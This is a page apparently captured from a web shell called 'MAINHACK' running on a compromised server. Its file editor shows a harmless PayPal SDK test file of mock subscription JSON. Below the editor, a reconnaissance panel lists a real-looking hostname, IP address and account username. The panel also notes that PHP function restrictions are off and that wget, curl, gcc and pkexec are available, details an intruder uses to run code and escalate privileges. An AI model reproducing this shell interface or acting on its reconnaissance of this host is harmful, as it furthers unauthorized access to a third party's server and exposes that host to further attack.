[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Subscriptions.php
<?php namespace Srmklive\PayPal\Tests\Mocks\Requests; use GuzzleHttp\Utils; trait Subscriptions { /** * @return array */ private function mockCreateSubscriptionParams(): array { return Utils::jsonDecode('{ "plan_id": "P-5ML4271244454362WXNWU5NQ", "start_time": "2018-11-01T00:00:00Z", "quantity": "20", "shipping_amount": { "currency_code": "USD", "value": "10.00" }, "subscriber": { "name": { "given_name": "John", "surname": "Doe" }, "email_address": "customer@example.com", "shipping_address": { "name": { "full_name": "John Doe" }, "address": { "address_line_1": "2211 N First Street", "address_line_2": "Building 17", "admin_area_2": "San Jose", "admin_area_1": "CA", "postal_code": "95131", "country_code": "US" } } }, "application_context": { "brand_name": "walmart", "locale": "en-US", "shipping_preference": "SET_PROVIDED_ADDRESS", "user_action": "SUBSCRIBE_NOW", "payment_method": { "payer_selected": "PAYPAL", "payee_preferred": "IMMEDIATE_PAYMENT_REQUIRED" }, "return_url": "https://example.com/returnUrl", "cancel_url": "https://example.com/cancelUrl" } }', true); } /** * @return array */ private function mockUpdateSubscriptionParams(): array { return Utils::jsonDecode('[ { "op": "replace", "path": "/billing_info/outstanding_balance", "value": { "currency_code": "USD", "value": "50.00" } } ]', true); } /** * @return array */ private function mockActivateSubscriptionParams() { return Utils::jsonDecode('{ "reason": "Reactivating the subscription" }', true); } /** * @return array */ private function mockCancelSubscriptionParams() { return Utils::jsonDecode('{ "reason": "Not satisfied with the service" }', true); } /** * @return array */ private function mockSuspendSubscriptionParams() { return Utils::jsonDecode('{ "reason": "Item out of stock" }', true); } /** * @return array */ private function mockCaptureSubscriptionPaymentParams() { return Utils::jsonDecode('{ "note": "Charging as the balance reached the limit", "capture_type": "OUTSTANDING_BALANCE", "amount": { "currency_code": "USD", "value": "100" } }', true); } /** * @return array */ private function mockUpdateSubscriptionItemsParams() { return Utils::jsonDecode('{ "plan_id": "P-5ML4271244454362WXNWU5NQ", "shipping_amount": { "currency_code": "USD", "value": "10.00" }, "shipping_address": { "name": { "full_name": "John Doe" }, "address": { "address_line_1": "2211 N First Street", "address_line_2": "Building 17", "admin_area_2": "San Jose", "admin_area_1": "CA", "postal_code": "95131", "country_code": "US" } }, "application_context": { "brand_name": "walmart", "locale": "en-US", "shipping_preference": "SET_PROVIDED_ADDRESS", "payment_method": { "payer_selected": "PAYPAL", "payee_preferred": "IMMEDIATE_PAYMENT_REQUIRED" }, "return_url": "https://example.com/returnUrl", "cancel_url": "https://example.com/cancelUrl" } }', true); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002